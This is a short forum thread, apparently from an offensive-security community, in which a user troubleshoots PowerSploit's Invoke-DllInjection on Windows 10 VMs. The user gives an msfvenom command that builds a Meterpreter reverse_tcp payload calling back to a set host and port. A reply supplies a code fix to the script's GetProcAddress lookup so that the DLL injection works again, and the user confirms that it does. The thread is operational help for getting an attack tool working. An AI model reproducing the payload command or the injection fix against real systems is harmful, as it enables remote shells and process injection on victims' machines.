Invoke-DllInjection

Hello,

I attempted to inject a dll generated through msfvenom in a notepad process however i get a big list of errors. I tried running the command in an elevated prompt too however I got the same results. I tried the method on two different Windows 10 VMs.

also i have used for the

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4443 -f exe >cmd.exe

my victim machine is of 32-bits

Also the psgetsystem didnt work even with Admin privs.

Seems like an error caused by the latest windows versions.
I found the same bug in Mimikatz: Error when Running Mimikatz · Issue #38 · mitre/caldera · GitHub

The solution is to replace the line in Invoke-DllInjection.ps1
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
with
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

Let me know if this resolves the problem! :grin:

2 Likes

Unfortunately PowerSploit project is archived and has not been updated since last 3-4 years. So things might not work as it is intended.
However, like @Z3r0n37 mentioned , some of the users tried to tweak the codes to make things work, but not foolproof.
You can see similar updated modules here : GitHub - jajarven/mimi

1 Like

yes it worked
Thanks a lot :slight_smile: